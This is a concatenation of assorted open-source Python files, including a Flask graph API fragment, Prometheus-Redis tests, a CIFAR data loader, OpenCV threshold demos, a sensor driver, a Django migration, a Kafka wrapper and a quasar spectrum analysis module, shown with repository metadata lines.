return {'message': f'Insufficient nodes to match, at least 2 required'}, 401
graphs_ref.document(graph_id).set(res['graph'])
events_ref.document(str(res['event_id'])).set(res['event'])
return {'data': res['event']}, 200
def algorithm(self, graph, graph_id, match_odd=False):
"""Computes matches and returns updated graph + event."""
N = len(graph['nodes'])
if N < 2:
return None
# Parse input data
matrix = [[False for i in range(N)] for j in range(N)]
for nodeId, node in enumerate(graph['nodes']):
matrix[nodeId][nodeId] = True # Ignore self
for edge in node['edges']:
matrix[nodeId][edge] = True # Undirected edge exists
matrix[edge][nodeId] = True
assigned = []
edges = []
# TODO: Handle matching odd number of nodes
# Find and record new edges, one edge per node
for nodeId, node in enumerate(graph['nodes']):
if nodeId not in assigned:
for otherId in range(0,N):
if otherId not in assigned and not matrix[nodeId][otherId]:
assigned.append(nodeId)
assigned.append(otherId)
edges.append({
'node_a': nodeId,
'node_b': otherId,
'name_a': node['name'],
'name_b': graph['nodes'][otherId]['name']
})
node['edges'].append(otherId)
graph['nodes'][otherId]['edges'].append(nodeId)
matrix[nodeId][otherId] = True
matrix[otherId][nodeId] = True
break
event_id = str(uuid.uuid4())
event = {
'event_id': event_id,
'graph_id': graph_id,
'created': str(datetime.now(timezone.utc)),
'edges': edges
}
graph['events'].append(event_id)
return {'graph': graph, 'event_id': event_id, 'event': event}
def is_valid_graph_id(self, graph_id):
cleaned = re.sub('[^A-Z]', '', graph_id).strip()
if len(cleaned) != 4:
return False
return True
def is_valid_event_id(self, event_id):
try:
uuid_obj = UUID(event_id, version=4)
except ValueError:
return False
return str(uuid_obj) == event_id
class Nodes(Resource):
"""Representation of a user in a graph"""
def get(self):
"""Get node in graph"""
graphs_ref = db.collection('graphs')
parser = reqparse.RequestParser()
parser.add_argument('graph_id', required=True)
parser.add_argument('node_id', required=True)
args = parser.parse_args()
graph_id = args['graph_id']
node_id = args['node_id']
if not self.is_valid_graph_id(graph_id):
return {'message': f'Invalid graph id {graph_id}'}, 401
graph = graphs_ref.document(graph_id).get()
if not graph.exists:
return {'message': f'No such graph with id {graph_id}'}, 404
if not self.is_valid_node_id(node_id):
return {'message': f'Invalid node id {node_id}'}, 401
nodes = {node['node_id']:node for node in graph.to_dict()['nodes']}
if int(node_id) not in nodes:
return {'message': f'No such node in graph with id {node_id}'}, 404
else:
return {'data': nodes[int(node_id)]}, 200
def post(self):
"""Add node to graph"""
# TODO: Implement
pass
def put(self):
"""Update node in graph"""
# TODO: Implement
pass
def delete(self):
"""Remove node from graph"""
# TODO: Implement
pass
def is_valid_graph_id(self, graph_id):
cleaned = re.sub('[^A-Z]', '', graph_id).strip()
if len(cleaned) != 4:
return False
return True
def is_valid_node_id(self, node_id):
cleaned = re.sub('[^0-9]', '', node_id).strip()
if len(cleaned) == 0:
return False
return True
api.add_resource(Graphs, '/graphs')
api.add_resource(Events, '/events')
api.add_resource(Nodes, '/nodes')
if __name__ == '__main__':
app.run()
| 2.640625 | 3 |
tests/test_summary.py | ChielWH/prometheus_redis_client | 19 | 12789691 | <reponame>ChielWH/prometheus_redis_client<filename>tests/test_summary.py
import re
from unittest.mock import patch
import pytest
from .helpers import MetricEnvironment
import prometheus_redis_client as prom
class TestSummary(object):
def test_interface_without_labels(self):
with MetricEnvironment() as redis:
summary = prom.Summary(
name="test_summary",
documentation="Summary documentation",
)
summary.observe(1)
group_key = summary.get_metric_group_key()
assert sorted(redis.smembers(group_key)) == [
b'test_summary_count:e30=',
b'test_summary_sum:e30='
]
assert int(redis.get('test_summary_count:e30=')) == 1
assert float(redis.get('test_summary_sum:e30=')) == 1
summary.observe(3.5)
assert int(redis.get('test_summary_count:e30=')) == 2
assert float(redis.get('test_summary_sum:e30=')) == 4.5
assert prom.REGISTRY.output() == (
"# HELP test_summary Summary documentation\n"
"# TYPE test_summary summary\n"
"test_summary_count 2\n"
"test_summary_sum 4.5"
)
def test_interface_with_labels(self):
with MetricEnvironment() as redis:
summary = prom.Summary(
name="test_summary",
documentation="Summary documentation",
labelnames=["host", "url", ],
)
# need 'url' label
with pytest.raises(ValueError, match=r"Expect define all labels: .*?\. Got only: host"):
summary.labels(host="192.168.127.12").observe(3)
# need use labels method
with pytest.raises(Exception, match=r"Expect define all labels: .*?\. Got only: "):
summary.observe(1)
labels = dict(host="192.168.127.12", url="/home/")
summary.labels(**labels).observe(2)
group_key = summary.get_metric_group_key()
assert sorted(redis.smembers(group_key)) == [
b'test_summary_count:<KEY>MTIzLjEyMyIsICJ1cmwiOiAiL2hvbWUvIn0=',
b'test_summary_sum:<KEY>
]
metric_sum_key = '<KEY>
metric_count_key = '<KEY>
assert int(redis.get(metric_count_key)) == 1
assert float(redis.get(metric_sum_key)) == 2
assert summary.labels(**labels).observe(3.1) == 5.1
assert int(redis.get(metric_count_key)) == 2
assert float(redis.get(metric_sum_key)) == 5.1
assert prom.REGISTRY.output() == (
'# HELP test_summary Summary documentation\n'
'# TYPE test_summary summary\n'
'test_summary_count{host="192.168.127.12",url="/home/"} 2\n'
'test_summary_sum{host="192.168.127.12",url="/home/"} 5.1'
)
@patch('prometheus_redis_client.base_metric.logger.exception')
def test_silent_mode(self, mock_logger):
"""
If we have some errors while send metric
to redis we should not stop usefull work.
"""
with MetricEnvironment():
summary = prom.Summary(
name="test_summary",
documentation="Summary documentation",
)
def raised_exception_func(*args, **kwargs):
raise Exception()
with patch("prometheus_redis_client.REGISTRY.redis.pipeline") as mock:
mock.side_effect = raised_exception_func
summary.observe(1)
assert mock_logger.called
def test_timeit_wrapper(self):
"""Test `timeit` wrapper for Summary metric."""
with MetricEnvironment():
summary = prom.Summary(
name="test_summary",
documentation="Summary documentation",
labelnames=['name'],
)
@summary.timeit(name="Hi!")
def simple_func():
import time
time.sleep(0.01)
return
simple_func()
assert prom.REGISTRY.output().startswith(
'# HELP test_summary Summary documentation\n'
'# TYPE test_summary summary\n'
'test_summary_count{name="Hi!"} 1\n'
'test_summary_sum{name="Hi!"} 0.01'
)
| 2.140625 | 2 |
tests/context.py | rreben/zettelkasten_tools | 1 | 12789692 | <filename>tests/context.py<gh_stars>1-10
# context.py
import sys
import os
sys.path.insert(0, os.path.abspath(
os.path.join(os.path.dirname(__file__), '..')))
import tools4zettelkasten # noqa # pylint: disable=unused-import, wrong-import-position
| 1.421875 | 1 |
data_loader/cifar_data_loader.py | david-riser/cifar-deepcluster | 0 | 12789693 | <filename>data_loader/cifar_data_loader.py
from base.base_data_loader import BaseDataLoader
from utils.factory import create
from tensorflow.keras.datasets import cifar10
from tensorflow.keras.preprocessing.image import ImageDataGenerator
class CifarDataLoader(BaseDataLoader):
def __init__(self, config):
super(CifarDataLoader, self).__init__(config)
if 'preprocessing_function' in self.config.data_loader.toDict():
self.preprocess_func = create("tensorflow.keras.applications.{}".format(
self.config.data_loader.preprocessing_function))
else:
self.preprocess_func = lambda x: x / 255.
self.load()
self.preprocess()
def load(self):
(self.X_train, self.y_train), (self.X_test, self.y_test) = cifar10.load_data()
self.X_train = self.X_train.reshape((-1, 32, 32, 3))
self.X_test = self.X_test.reshape((-1, 32, 32, 3))
self.X_train = self.X_train.astype('float')
self.X_test = self.X_test.astype('float')
self.train_gen = ImageDataGenerator(preprocessing_function=self.preprocess_func)
self.train_flow = self.train_gen.flow(
self.X_train, self.y_train,
batch_size=self.config.data_loader.batch_size,
)
self.test_gen = ImageDataGenerator(preprocessing_function=self.preprocess_func)
self.test_flow = self.test_gen.flow(
self.X_test, self.y_test,
batch_size=self.config.data_loader.batch_size,
)
def preprocess(self):
if self.preprocess_func:
print("Applying preprocessing to test set.")
self.X_test = self.preprocess_func(self.X_test)
def get_train_flow(self):
return self.train_flow
def get_test_flow(self):
return self.test_flow
def get_test_data(self):
return (self.X_test, self.y_test)
| 2.75 | 3 |
Chapter 08/ch8_36.py | bpbpublications/TEST-YOUR-SKILLS-IN-PYTHON-LANGUAGE | 0 | 12789694 | <filename>Chapter 08/ch8_36.py
nums1 = [1, 2, 3]
nums2 = [4, 5]
nums=[(x,y) for x in nums1 for y in nums2]
print(nums)
#[(1,4), (1,5), (2,4), (2,5), (3,4), (3,5)] | 3.78125 | 4 |
Par_Impar_Jogo.py | cafesao/Programas_Python | 1 | 12789695 | # Este programa funciona como um jogo de Par ou Impár, com varios if dentro de uma estrutura
# de repetição com uma flag
import random
j1 = c2 = re = pi = 0
lista1 = [2,4]
lista2 = [1,3,5]
lista3 = [1, 2, 3, 4, 5]
stop = ''
print('Este e a brincadeira do Par ou Impár!')
while True:
j1 = int(input('\nDigite um valor de 1 a 5: '))
if j1 in lista1:
pi = 1 # Pi = Ele diz ao programa se o user escolheu par ou impar
c2 = random.choice(lista3)
if j1 in lista2:
pi = 2 # Pi = Ele diz ao programa se o user escolheu par ou impar
c2 = random.choice(lista3)
re = j1 + c2
if (re%2) == 0:
if pi == 1:
print(f'Você ganhou! o resultado foi {re}, o computador escolheu {c2}')
if pi == 2:
print(f'Você perdeu, o resultado foi {re}, o computador escolheu {c2}')
else:
if pi == 2:
print(f'Você ganhou! o resultado foi {re}, o computador escolheu {c2}')
if pi == 1:
print(f'Você perdeu, o resultado foi {re}, o computador escolheu {c2}')
stop = str(input('\nDeseja recomeçãr? (S - SIM / N - NÃO): ').split()[0].upper())
if stop in 'N':
break
print('\nObrigado por utilizar o jogo do Par ou Impár') | 3.8125 | 4 |
opencv_test1/demo/7.py | 18970738669/opencv_demo | 1 | 12789696 | <filename>opencv_test1/demo/7.py
import cv2
import numpy as np
from matplotlib import pyplot as plt
img = cv2.imread('/home/python/Desktop/opencv_test/samoye1.jpg', 0)
ret, thresh1 = cv2.threshold(img, 127, 255, cv2.THRESH_BINARY)
ret, thresh2 = cv2.threshold(img, 127, 255, cv2.THRESH_BINARY_INV)
ret, thresh3 = cv2.threshold(img, 127, 255, cv2.THRESH_TRUNC)
ret, thresh4 = cv2.threshold(img, 127, 255, cv2.THRESH_TOZERO)
ret, thresh5 = cv2.threshold(img, 127, 255, cv2.THRESH_TOZERO_INV)
ret, thresh6 = cv2.threshold(img, 127, 255, 20)
titles = ['Original Image', 'BINARY', 'BINARY_INV', 'TRUNC', 'TOZERO', 'TOZERO_INV', 'zidingyi']
images = [img, thresh1, thresh2, thresh3, thresh4, thresh5, thresh6]
for i in range(7):
plt.subplot(3, 3, i + 1), plt.imshow(images[i], 'gray')
plt.title(titles[i])
plt.xticks([]), plt.yticks([])
print(cv2.THRESH_TOZERO)
plt.show()
# import cv2
# import numpy as np
# from matplotlib import pyplot as plt
#
# img = cv2.imread('/home/python/Desktop/opencv_test/pic/car8.jpg', 0)
# img = cv2.medianBlur(img, 5)
#
# ret, th1 = cv2.threshold(img, 127, 255, cv2.THRESH_BINARY)
# th2 = cv2.adaptiveThreshold(img, 255, cv2.ADAPTIVE_THRESH_MEAN_C, \
# cv2.THRESH_BINARY, 11, 2)
# th3 = cv2.adaptiveThreshold(img, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, \
# cv2.THRESH_BINARY, 11, 2)
#
# titles = ['Original Image', 'Global Thresholding (v = 127)',
# 'Adaptive Mean Thresholding', 'Adaptive Gaussian Thresholding']
# images = [img, th1, th2, th3]
#
# for i in range(4):
# plt.subplot(2, 2, i + 1), plt.imshow(images[i], 'gray')
# plt.title(titles[i])
# plt.xticks([]), plt.yticks([])
# plt.show()
| 2.890625 | 3 |
haas_lib_bundles/python/docs/examples/temperature_humidity/haas506/code/gxht30.py | wstong999/AliOS-Things | 0 | 12789697 | <reponame>wstong999/AliOS-Things
from driver import I2C
class GXHT30(object):
# init i2cDev
def __init__(self,i2cObj):
self.i2cObj=None
if not isinstance(i2cObj,I2C):
raise ValueError("parameter is not an I2C object")
self.i2cObj=i2cObj
# write cmd to register
# commands:0x2c、0x06
def write(self,cmd1,cmd2):
writeBuf=bytearray([cmd1,cmd2])
self.i2cObj.write(writeBuf,2)
# read data from register
# read data from :0x00
# len(data) are 6 bytes : cTemp MSB, cTemp LSB, cTemp CRC, Humididty MSB, Humidity LSB, Humidity CRC
def read(self,cmd,len):
readBuf=bytearray(len)
readBuf[0]=cmd
self.i2cObj.read(readBuf,6)
return readBuf
# convert the data
def covert_data(self,data):
cTemp = ((((data[0] * 256.0) + data[1]) * 175) / 65535.0) - 45
fTemp = cTemp * 1.8 + 32
humidity = 100 * (data[3] * 256 + data[4]) / 65535.0
return cTemp,fTemp,humidity
# measure temperature and humidity
def measure(self):
if self.i2cObj is None:
raise ValueError("invalid I2C object")
self.write(0x2c,0x06)
data=self.read(0x00,6)
cTemp,fTemp,humidity=self.covert_data(data)
return cTemp,fTemp,humidity
| 2.65625 | 3 |
src/augraphy/default/pipeline.py | faizan1041/augraphy | 0 | 12789698 | """The default recommended pipeline.
If you don't need to produce your own augmentations or specialized pipelines,
you can use this to generate more images.
"""
import random
from augraphy.base.paperfactory import PaperFactory
from augraphy.base.oneof import OneOf
from augraphy.base.augmentationsequence import AugmentationSequence
from augraphy.base.augmentationpipeline import AugraphyPipeline
from augraphy.augmentations.brightness import BrightnessAugmentation
from augraphy.augmentations.brightnesstexturize import BrightnessTexturizeAugmentation
from augraphy.augmentations.dirtyrollers import DirtyRollersAugmentation
from augraphy.augmentations.dustyink import DustyInkAugmentation
from augraphy.augmentations.gaussianblur import GaussianBlurAugmentation
from augraphy.augmentations.inkbleed import InkBleedAugmentation
from augraphy.augmentations.jpeg import JpegAugmentation
from augraphy.augmentations.lightinggradient import LightingGradientAugmentation
from augraphy.augmentations.lowinkblobs import LowInkBlobsAugmentation
from augraphy.augmentations.lowinkperiodiclines import LowInkPeriodicLinesAugmentation
from augraphy.augmentations.lowinkrandomlines import LowInkRandomLinesAugmentation
from augraphy.augmentations.noisetexturize import NoiseTexturizeAugmentation
from augraphy.augmentations.subtlenoise import SubtleNoiseAugmentation
def default_augraphy_pipeline():
ink_phase = AugmentationSequence([
InkBleedAugmentation(),
DustyInkAugmentation(),
LowInkBlobsAugmentation(),
OneOf([
LowInkRandomLinesAugmentation(use_consistent_lines=False),
LowInkRandomLinesAugmentation(use_consistent_lines=True),
LowInkPeriodicLinesAugmentation(use_consistent_lines=False),
LowInkPeriodicLinesAugmentation(use_consistent_lines=True),
]),
GaussianBlurAugmentation('ink', p=1)
])
paper_phase = AugmentationSequence([PaperFactory(),
OneOf([
AugmentationSequence([
NoiseTexturizeAugmentation(p=1.0),
BrightnessTexturizeAugmentation(),
GaussianBlurAugmentation('paper', [(3,3), (3,5), (5,3), (5,5)]),
]),
AugmentationSequence([
BrightnessTexturizeAugmentation(p=1.0),
NoiseTexturizeAugmentation(),
GaussianBlurAugmentation('paper', [(3,3), (3,5), (5,3), (5,5)]),
])]),
BrightnessAugmentation('paper')
])
post_phase = AugmentationSequence([DirtyRollersAugmentation(p=0.0),
OneOf([
LightingGradientAugmentation(),
BrightnessAugmentation('post')
]),
SubtleNoiseAugmentation(),
JpegAugmentation()
])
return AugraphyPipeline(ink_phase, paper_phase, post_phase)
| 1.726563 | 2 |
demo/profiles/migrations/0001_initial.py | jdavidagudelo/django-userena-ce | 86 | 12789699 | # Generated by Django 3.0.5 on 2020-04-01 20:15
import django.db.models.deletion
import easy_thumbnails.fields
from django.conf import settings
from django.db import migrations, models
import userena.models
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name="Profile",
fields=[
(
"id",
models.AutoField(
auto_created=True,
primary_key=True,
serialize=False,
verbose_name="ID",
),
),
(
"mugshot",
easy_thumbnails.fields.ThumbnailerImageField(
blank=True,
help_text="A personal image displayed in your profile.",
upload_to=userena.models.upload_to_mugshot,
verbose_name="mugshot",
),
),
(
"privacy",
models.CharField(
choices=[
("open", "Open"),
("registered", "Registered"),
("closed", "Closed"),
],
default="registered",
help_text="Designates who can view your profile.",
max_length=15,
verbose_name="privacy",
),
),
(
"language",
models.CharField(
choices=[
("en", "English"),
("nl", "Dutch"),
("fr", "French"),
("pl", "Polish"),
("pt", "Portugese"),
("pt-br", "Brazilian Portuguese"),
("es", "Spanish"),
("el", "Greek"),
("zh-hans", "Simplified Chinese"),
("zh-hant", "Traditional Chinese"),
],
default="en",
help_text="Default language.",
max_length=8,
verbose_name="language",
),
),
("website", models.URLField(blank=True, verbose_name="website")),
(
"location",
models.CharField(
blank=True, max_length=255, verbose_name="location"
),
),
(
"birth_date",
models.DateField(blank=True, null=True, verbose_name="birth date"),
),
("about_me", models.TextField(blank=True, verbose_name="about me")),
(
"user",
models.OneToOneField(
on_delete=django.db.models.deletion.CASCADE,
related_name="profile",
to=settings.AUTH_USER_MODEL,
verbose_name="user",
),
),
],
options={
"permissions": (("view_profile", "Can view profile"),),
"abstract": False,
"default_permissions": ("add", "change", "delete"),
},
),
]
| 1.789063 | 2 |
src/cashier/purchase/container.py | artdotlis/Cashier | 0 | 12789700 | <reponame>artdotlis/Cashier
# -*- coding: utf-8 -*-
"""A module providing global data containers."""
from dataclasses import dataclass
from decimal import Decimal
from typing import final
@final
@dataclass
class PurchasedItem:
"""A container describing the purchased item."""
imported: bool
"""Whether the item is imported or not."""
name: str
"""The name of the item."""
price: Decimal
"""The price of the item."""
cnt: int
"""The amount of the items to purchase."""
taxed: bool
"""Describes whether the basic sales taxes should be applied."""
| 2.21875 | 2 |
kafkaapi.py | MarkWh1te/mysql2kafka | 1 | 12789701 | # -*- coding: utf-8 -*-
from kafka import KafkaProducer
class Kafka(object):
def __init__(self,servers,zookeeper=None):
self.zookeeper = zookeeper
self.producer = KafkaProducer(bootstrap_servers=servers)
def send(self,topic,data):
future = self.producer.send(
topic,
data
)
results = future.get()
return results
| 2.5 | 2 |
penygader/plotting/publication.py | Cadair/penygader | 0 | 12789702 | <filename>penygader/plotting/publication.py<gh_stars>0
# -*- coding: utf-8 -*-
"""
Created on Mon Dec 3 16:24:02 2012
@author: <NAME>
This module imports matplotlib with customisations I use when creating
figures for inclusion in print publications.
Usage
-----
>>> from penygader.plotting.publication import *
>>> plt.plot(x,y)
>>> thick_ticks(plt.gca())
>>> plt.show()
"""
import matplotlib as mpl
#Do rcParams bit
mpl.rcParams['axes.linewidth'] = 1.7
mpl.rcParams['xtick.major.pad'] = 7
mpl.rcParams['ytick.major.pad'] = 5
mpl.rcParams['font.family'] = 'serif'
mpl.rcParams['font.serif'] = ['Time New Roman']
mpl.rcParams.update({'font.size': 15})
import matplotlib.pyplot as plt
__all__ = ['mpl', 'plt', 'thick_ticks', 'tex_fonts']
def tex_fonts():
mpl.rcParams['ps.useafm'] = True
mpl.rcParams['pdf.use14corefonts'] = True
mpl.rcParams['text.usetex'] = True
def thick_ticks(ax):
for line in ax.yaxis.get_ticklines(minor=True) + ax.xaxis.get_ticklines(minor=True):
line.set_markersize(4.5)
line.set_markeredgewidth(1)
for line in ax.yaxis.get_ticklines() + ax.xaxis.get_ticklines():
line.set_markersize(7)
line.set_markeredgewidth(1.5)
| 2.59375 | 3 |
podpy/Spectrum.py | turnerm/podpy | 0 | 12789703 | <gh_stars>0
"""
podpy is an implementatin of the pixel optical depth method as described in
Turner et al. 2014, MNRAS, 445, 794, and Aguirre et al. 2002, ApJ, 576, 1.
Please contact the author (<NAME>) at <EMAIL> if you have
any questions, comment or issues.
"""
import numpy as np
import scipy.interpolate as intp
import matplotlib.pyplot as plt
from astropy.io import fits
import os
###
import universe as un
import Pod
class Spectrum:
"""
Creates a spectrum object.
Parameters
----------
z_qso: float
Redshift of the quasar
object_name: str
Name of the object, important for locating relevant files
filepath: str, optional
The directory tree leading to the flux, error array and mask files
mask_badreg: boolean, optional
Whether bad regions should be manually masked using a file provided by the user.
The file should have the format filepath + object_name + "_badreg.mask", and
contain two tab-separated text columns, where each row contains the start and end
wavelength of a region to mask.
mask_dla: boolean, optional
Same as mask_badreg, except for masking DLAs, and the file should be named
filepath + objecta_name + '_dla.mask'.
verbose: boolean, optional
Instance attributes
----------
lambdaa: wavelength in angstroms
flux: normalized flux array
sigma_noise: error array
npix: length of the above arrays
"""
BAD_NOISE = -1 # Value to set bad pixels to
def __init__(self,
z_qso,
object_name,
filepath = "",
mask_badreg = False,
mask_dla = False,
verbose = True):
print "\n*** Getting spectrum ***"
self.z_qso = z_qso
self.object_name = object_name
self.filepath = filepath
self.mask_badreg = mask_badreg
self.mask_dla = mask_dla
self.verbose = verbose
def mask_spectrum(self):
"""
Search for mask files and apply the mask if they exist
"""
if self.mask_badreg or self.mask_dla:
mask_filepath = self.filepath + self.object_name
mask_type_list = []
if self.mask_badreg:
mask_type_list.append("badreg")
if self.mask_dla:
mask_type_list.append("dla")
if self.verbose:
print "Looking for mask files..."
for mask_type in mask_type_list:
mask_file = mask_filepath + "_" + mask_type + ".mask"
if os.path.isfile(mask_file):
print "...found", mask_type, "file"
data = np.loadtxt(mask_file)
if len(data.shape) == 1:
data = [data]
for row in data:
mask_region_idx = np.where((self.lambdaa >= row[0]) &
(self.lambdaa <= row[1]))
self.sigma_noise[mask_region_idx] = Spectrum.BAD_NOISE
else:
if self.verbose:
print "...WARNING: no", mask_type, "file found"
def prep_spectrum(self):
"""
Prepares the spectrum before implementing POD
by setting up the flag array that keeps track of bad / corrected pixels,
and setting up the optical depth arrays and functions.
"""
# Flag regions where spectrum is no good (noise <= 0)
# and set noise to -1 exactly for consistency in interpolation
self.flag = np.zeros(self.npix, dtype = int)
bad_pix = np.where(self.sigma_noise <= 0)
self.sigma_noise[bad_pix] = Spectrum.BAD_NOISE
self.flag[bad_pix] = Pod.Pod.FLAG_DISCARD
# Set the flux to tau_min since they are bad regions, should not have signal
self.flux[bad_pix] = 1.0
# Prepare the functions for interpolating
self.flux_function = self.interp_f_lambda(self.lambdaa, self.flux)
self.sigma_noise_function = self.interp_f_lambda(self.lambdaa,self.sigma_noise)
negflux = (self.flux <= 0)
self.tau = np.where(negflux, Pod.Pod.TAU_MAX, -np.log(self.flux))
self.tau_function = self.interp_f_lambda(self.lambdaa, self.tau)
@staticmethod
def interp_f_lambda(lambdaa, f_lambda):
"""
Linearly interpolates a function of lambda
Parameters
----------
lambdaa: array_like
Wavelength array.
f_lambda: array_like
Whichever quantity is a function of the wavelength.
Returns
-------
f: function of wavelength
"""
return intp.interp1d(lambdaa, f_lambda, kind='linear')
def get_tau_rec_h1(self,
**kwargs):
"""
Get the optical depth of HI, returned as an object named self.h1.
Parameters
----------
label: str, optional
Adds a label to the object that is attached to the spectrum. e.g., label = "_A"
would result in an object named "h1_A".
See Pod class for remaining input parameters.
"""
name = "h1" + kwargs.pop("label", "")
vars(self)[name] = Pod.LymanAlpha(self,
**kwargs)
def get_tau_rec_ion(self,
ion,
*args,
**kwargs):
"""
Get the optical depth of ion $ion, returned as an object named self.$ion
Parameters
----------
ion: str
Currently supported: c2, c3, c4, n5, o1, o6, si2, si3, si4
label: str, optional
Adds a label to the object that is attached to the spectrum. e.g., label = "_A"
would result in an object named "$ion_A".
See Pod class for remaining input parameters.
"""
name = ion + kwargs.pop("label", "")
tau_rec = Pod.Metal(self,
ion,
*args,
**kwargs)
vars(self)[name] = tau_rec
def get_tau_rec_c2(self,**kwargs):
"""
Get the optical depth of CII using the fiducial recovery parameters:
correct_h1 = False
correct_self = False
take_min_doublet = False
Returns an object named self.c2.
See Pod class for optional input parameters.
"""
self.get_tau_rec_ion("c2", 0, 0, 0, **kwargs)
def get_tau_rec_c3(self, **kwargs):
"""
Get the optical depth of CIII using the fiducial recovery parameters:
correct_h1 = True
correct_self = False
take_min_doublet = False
Returns an object named self.c3.
See Pod class for optional input parameters.
"""
self.get_tau_rec_ion("c3", 1, 0, 0, **kwargs)
def get_tau_rec_c4(self, **kwargs):
"""
Get the optical depth of CIV using the fiducial recovery parameters:
correct_h1 = False
correct_self = True
take_min_doublet = False
Returns an object named self.c4.
See Pod class for optional input parameters.
"""
self.get_tau_rec_ion("c4", 0, 1, 0, **kwargs)
def get_tau_rec_n5(self, **kwargs):
"""
Get the optical depth of NV using the fiducial recovery parameters:
correct_h1 = False
correct_self = False
take_min_doublet = True
Returns an object named self.n5.
See Pod class for optional input parameters.
"""
self.get_tau_rec_ion("n5", 0, 0, 1, **kwargs)
def get_tau_rec_o1(self, **kwargs):
"""
Get the optical depth of OI using the fiducial recovery parameters:
correct_h1 = False
correct_self = False
take_min_doublet = False
Returns an object named self.o1.
See Pod class for optional input parameters.
"""
self.get_tau_rec_ion("o1", 0, 0, 0, **kwargs)
def get_tau_rec_o6(self, **kwargs):
"""
Get the optical depth of OVI using the fiducial recovery parameters:
correct_h1 = True
correct_self = False
take_min_doublet = True
Returns an object named self.o6.
See Pod class for optional input parameters.
"""
self.get_tau_rec_ion("o6", 1, 0, 1, **kwargs)
def get_tau_rec_si2(self, **kwargs):
"""
Get the optical depth of SiII using the fiducial recovery parameters:
correct_h1 = False
correct_self = False
take_min_doublet = False
Returns an object named self.si2.
See Pod class for optional input parameters.
"""
self.get_tau_rec_ion("si2", 0, 0, 0, **kwargs)
def get_tau_rec_si3(self, **kwargs):
"""
Get the optical depth of SiIII using the fiducial recovery parameters:
correct_h1 = False
correct_self = False
take_min_doublet = False
Returns an object named self.si3.
See Pod class for optional input parameters.
"""
self.get_tau_rec_ion("si3", 0, 0, 0, **kwargs)
def get_tau_rec_si4(self, **kwargs):
"""
Get the optical depth of SiIV using the fiducial recovery parameters:
correct_h1 = False
correct_self = False
take_min_doublet = True
Returns an object named self.si4.
See Pod class for optional input parameters.
"""
self.get_tau_rec_ion("si4", 0, 0, 1, **kwargs)
def fit_continuum(self,
bin_size = 20.0,
n_cf_sigma = 2.0,
max_iterations = 20):
"""
Automatically re-fit the continuum redward of the QSO Lya emission
in order to homogenize continuum fitting errors between different quasars
"""
if self.verbose:
print "Fitting continuum..."
# Set up the area to fit
lambda_min = (1.0 + self.z_qso) * un.lambda_h1[0]
index_correction = np.where(self.lambdaa > lambda_min)[0]
if len(index_correction) == 0:
sys.exit("No pixels redward of LyA!")
lambdaa = self.lambdaa[index_correction]
flux = self.flux[index_correction].copy()
sigma_noise = self.sigma_noise[index_correction].copy()
flag = self.flag[index_correction].copy()
# Get the bins
bin_size = bin_size * (1. + self.z_qso)
lambda_max = lambdaa[-1]
nbins = np.floor((lambda_max - lambda_min) / bin_size)
nbins = int(nbins)
bin_size = (lambda_max - lambda_min) / nbins
if self.verbose:
print "...using", nbins, "bins of", bin_size, "A"
bin_edges = lambda_min + np.arange(nbins + 1) * bin_size
pixels_list = [None] * nbins
lambda_centre = np.empty(nbins)
for i in range(nbins):
pixels_list[i] = np.where((lambdaa > bin_edges[i]) &
(lambdaa <= bin_edges[i+1]))[0]
lambda_centre[i] = bin_edges[i] + bin_size / 2.
# Throw this all into a while loop until convergence
flag_interp = flag.copy()
flux_interp = flux
converged = 0
medians = np.empty(nbins)
medians_flag = np.zeros(nbins, dtype=int)
niter = 0
lambda_interp = lambda_centre
medians_interp = np.empty(nbins)
while converged == 0 and niter < max_iterations:
niter += 1
for i in range(nbins):
pixels = pixels_list[i]
lambda_bin = lambdaa[pixels]
flux_bin = flux[pixels]
medians[i] = np.median(flux_bin[flag_interp[pixels] % 2 == 0])
if (np.isnan(medians[i])):
medians_flag[i] = 1
for i in range(nbins):
if medians_flag[i] == 1:
medians[i] = medians[(i-1) % nbins]
medians_interp = medians
# Interpolate
flux_function = intp.splrep(lambda_interp, medians_interp, k = 3)
flux_interp = intp.splev(lambdaa, flux_function)
flag_interp_new = flag.copy()
bad_pix = np.where((flux_interp - flux) > n_cf_sigma * sigma_noise)[0]
flag_interp_new[bad_pix] = 1
# Test for convergence
if (flag_interp_new == flag_interp).all():
converged = 1
flag_interp = flag_interp_new
# Divide out the spectrum in the fitted part
self.flux_old = self.flux.copy()
self.sigma_noise_old = self.sigma_noise.copy()
bad_pix = np.where(flag % 2 == 1)
flux_interp[bad_pix] = flux[bad_pix]
self.flux[index_correction] = flux / flux_interp
self.sigma_noise[index_correction] = sigma_noise / flux_interp
self.flux_function = self.interp_f_lambda(self.lambdaa, self.flux)
self.sigma_noise_function = self.interp_f_lambda(self.lambdaa,
self.sigma_noise)
if self.verbose:
print "...done\n"
def plot_spectrum(self):
"""
Quick view plot of QSO spectrum
"""
fig, ax = plt.subplots(figsize = (12, 3))
ax.plot(self.lambdaa, self.flux, lw = 0.5, c = 'b')
ax.plot(self.lambdaa, self.sigma_noise, lw = 0.5, c = 'r')
ax.axhline(y = 0, ls = ':', c = 'k', lw = 0.5)
ax.axhline(y = 1, ls = ':', c = 'k', lw = 0.5)
ax.set_ylim(-0.2, 1.2)
ax.set_xlabel("$\lambda$ [\AA]")
ax.set_ylabel("Normalized flux")
ax.minorticks_on()
fig.show()
class KodiaqFits(Spectrum):
"""
Createa spectrum from KODIAQ fits files. The flux file and error array,
respectively, should be located in the files:
filepath + objectname + _f.fits
filepath + objectname + _e.fits
"""
def __init__(self,
z_qso,
object_name,
**kwargs):
Spectrum.__init__(self, z_qso, object_name, **kwargs)
# Read in flux file
flux_filepath = self.filepath + object_name + "_f.fits"
flux_file = fits.open(flux_filepath)[0]
self.flux = flux_file.data
# Get wavelength array
crpix1 = flux_file.header['CRPIX1'] # reference pixel
crval1 = flux_file.header['CRVAL1'] # coordinate at reference pixel
cdelt1 = flux_file.header['CDELT1'] # coordinate increment per pixel
length = flux_file.header['NAXIS1']
self.lambdaa = 10**((np.arange(length) + 1.0 - crpix1) * cdelt1 + crval1)
self.npix = length
# Read in error file
err_filepath = self.filepath + object_name + "_e.fits"
err_file = fits.open(err_filepath)[0]
self.sigma_noise = err_file.data
# Mask any bad regions or dlas
self.mask_spectrum()
# Prep spectrum
self.prep_spectrum()
print "*** Done ***\n"
class UserInput(Spectrum):
"""
Create a spectrum from user input. Unlike the KodiaqFits class, here the
